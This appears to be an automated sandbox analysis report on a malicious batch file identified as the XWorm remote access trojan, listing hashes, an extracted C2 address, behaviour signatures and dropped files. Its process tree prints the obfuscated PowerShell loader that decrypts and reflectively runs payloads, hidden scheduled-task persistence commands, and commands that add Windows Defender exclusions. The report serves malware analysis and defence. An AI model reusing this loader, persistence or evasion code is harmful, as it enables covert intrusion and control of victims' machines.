Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240704-en
  • resource tags

    arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/07/2024, 07:02

General

  • Target

    boot.bat

  • Size

    410KB

  • MD5

    d87efb4cf8da07e1956944f23313bb5b

  • SHA1

    929203873eaf41e02377a26e1ef4db8a88d37696

  • SHA256

    f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd

  • SHA512

    d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a

  • SSDEEP

    12288:xpWbCqT4gUVKkPSmSZ+XPk6V4mzYWQvKMbGt:xkGqTjURpXPkAUvvKMit

Malware Config

Extracted

Family

xworm

C2

case-shield.gl.at.ply.gg:26501

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    system.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:836
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:952
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:1004
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:740
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:764
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1088
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1132
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1164
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1188
                    • C:\Users\Admin\system.exe
                      C:\Users\Admin\system.exe
                      2⤵
                      • Executes dropped EXE
                      PID:4904
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                    1⤵
                      PID:1204
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                      1⤵
                        PID:1228
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1244
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1392
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                            • Drops file in System32 directory
                            PID:1468
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1508
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1536
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1548
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                  1⤵
                                    PID:1708
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                    1⤵
                                      PID:1760
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k NetworkService -p
                                      1⤵
                                        PID:1768
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1868
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1892
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1960
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1976
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1756
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:2060
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                    1⤵
                                                      PID:2192
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                      1⤵
                                                        PID:2252
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                        1⤵
                                                          PID:2352
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                          1⤵
                                                            PID:2484
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2492
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p
                                                              1⤵
                                                                PID:2548
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                  PID:2592
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                  1⤵
                                                                    PID:2640
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                    1⤵
                                                                      PID:2648
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2672
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                        1⤵
                                                                          PID:3044
                                                                        • C:\Windows\Explorer.EXE
                                                                          C:\Windows\Explorer.EXE
                                                                          1⤵
                                                                            PID:3320
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\boot.bat"
                                                                              2⤵
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:1672
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Local\Temp\boot.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                3⤵
                                                                                  PID:3940
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                  3⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:5052
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_184_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                    4⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:880
                                                                                  • C:\Windows\System32\WScript.exe
                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs"
                                                                                    4⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2700
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat" "
                                                                                      5⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:220
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                        6⤵
                                                                                          PID:3316
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                          6⤵
                                                                                          • Blocklisted process makes network request
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops startup file
                                                                                          • Adds Run key to start application
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:2412
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:3524
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:3424
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\system.exe'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:128
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:3152
                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\system.exe"
                                                                                            7⤵
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:2308
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3456
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                  1⤵
                                                                                    PID:3496
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                    1⤵
                                                                                      PID:4032
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                      1⤵
                                                                                        PID:4384
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                        1⤵
                                                                                          PID:4780
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                          1⤵
                                                                                            PID:2388
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:2580
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                              1⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:1280
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:4616
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                1⤵
                                                                                                  PID:4920

                                                                                                Network

                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                  Filesize

                                                                                                  3KB

                                                                                                  MD5

                                                                                                  df472dcddb36aa24247f8c8d8a517bd7

                                                                                                  SHA1

                                                                                                  6f54967355e507294cbc86662a6fbeedac9d7030

                                                                                                  SHA256

                                                                                                  e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

                                                                                                  SHA512

                                                                                                  06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                  Filesize

                                                                                                  62KB

                                                                                                  MD5

                                                                                                  e566632d8956997225be604d026c9b39

                                                                                                  SHA1

                                                                                                  94a9aade75fffc63ed71404b630eca41d3ce130e

                                                                                                  SHA256

                                                                                                  b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

                                                                                                  SHA512

                                                                                                  f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                  Filesize

                                                                                                  1KB

                                                                                                  MD5

                                                                                                  3ec0d76d886b2f4b9f1e3da7ce9e2cd7

                                                                                                  SHA1

                                                                                                  68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

                                                                                                  SHA256

                                                                                                  214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

                                                                                                  SHA512

                                                                                                  a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                  Filesize

                                                                                                  1KB

                                                                                                  MD5

                                                                                                  2f8f22fd5d2b19935f8a6268fabe255c

                                                                                                  SHA1

                                                                                                  fea7116a5e56c501439fa0261d2c89564c939a1b

                                                                                                  SHA256

                                                                                                  c3129137313ae7bd0bc8b22bd043708e9890398876608f45c0ad33108a41d5c2

                                                                                                  SHA512

                                                                                                  2f5af078f6ec28116349e1dc4c05b4d6dc9bdcbe4f28bbeb0f43e1492a8a1aaaff074f4ea2a8119c3ea728c15ae721ecdaafad1d6a1edda208ee5dbc16b347ec

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                  Filesize

                                                                                                  944B

                                                                                                  MD5

                                                                                                  1a9fa92a4f2e2ec9e244d43a6a4f8fb9

                                                                                                  SHA1

                                                                                                  9910190edfaccece1dfcc1d92e357772f5dae8f7

                                                                                                  SHA256

                                                                                                  0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

                                                                                                  SHA512

                                                                                                  5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                  Filesize

                                                                                                  944B

                                                                                                  MD5

                                                                                                  ca8714c6f4f79aab61db3cd5f6b113cf

                                                                                                  SHA1

                                                                                                  de8a46cec8b3a4782c915d9ae9a8adc60885a06c

                                                                                                  SHA256

                                                                                                  6add231bbd51ead7de16ce1fd3a6c43fcf05fbb3301ac23705e371e835b20a73

                                                                                                  SHA512

                                                                                                  90dc5f0e0c97eed62c9951b823b74a4b97f670025086a852bda84737ff77aaf965fe4c2f9d2fa0214d32d66564191a83752a4a4f8cb3db92ad3ba0a35c40592f

                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                  Filesize

                                                                                                  944B

                                                                                                  MD5

                                                                                                  cef328ddb1ee8916e7a658919323edd8

                                                                                                  SHA1

                                                                                                  a676234d426917535e174f85eabe4ef8b88256a5

                                                                                                  SHA256

                                                                                                  a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90

                                                                                                  SHA512

                                                                                                  747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb

                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e42qgdu1.ges.ps1

                                                                                                  Filesize

                                                                                                  60B

                                                                                                  MD5

                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                  SHA1

                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                  SHA256

                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                  SHA512

                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat

                                                                                                  Filesize

                                                                                                  410KB

                                                                                                  MD5

                                                                                                  d87efb4cf8da07e1956944f23313bb5b

                                                                                                  SHA1

                                                                                                  929203873eaf41e02377a26e1ef4db8a88d37696

                                                                                                  SHA256

                                                                                                  f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd

                                                                                                  SHA512

                                                                                                  d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a

                                                                                                • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs

                                                                                                  Filesize

                                                                                                  124B

                                                                                                  MD5

                                                                                                  073c1e94055d06e96956d57543b0a047

                                                                                                  SHA1

                                                                                                  c306b25a9acc525852365e9709f91f594f4ea669

                                                                                                  SHA256

                                                                                                  08aac2bf9f27a383766e7e8cd9089cfb23903000704f6dfd727dec75101918a4

                                                                                                  SHA512

                                                                                                  05f5e4b84912ccf01bf6b024db8096d3038160fc17dc1bb6deb1e87e81a3d4e41e2925884eab7886bf769f78ec765d564abe2a8c19cc3108227ee58a92645f61

                                                                                                • C:\Users\Admin\system.exe

                                                                                                  Filesize

                                                                                                  440KB

                                                                                                  MD5

                                                                                                  0e9ccd796e251916133392539572a374

                                                                                                  SHA1

                                                                                                  eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                  SHA256

                                                                                                  c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                  SHA512

                                                                                                  e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                • memory/740-76-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/764-69-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/880-30-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/880-27-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/880-26-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/880-17-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/952-74-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1132-75-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1164-66-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1508-84-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1536-70-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1548-67-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1708-82-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1756-59-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1760-68-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1768-58-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1892-85-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/1960-55-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/2352-60-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/2412-48-0x0000012AF6CF0000-0x0000012AF6D0A000-memory.dmp

                                                                                                  Filesize

                                                                                                  104KB

                                                                                                • memory/2484-88-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/2492-86-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/2548-56-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/2580-87-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/3320-57-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

                                                                                                  Filesize

                                                                                                  64KB

                                                                                                • memory/3320-47-0x0000000004B40000-0x0000000004B6A000-memory.dmp

                                                                                                  Filesize

                                                                                                  168KB

                                                                                                • memory/5052-83-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

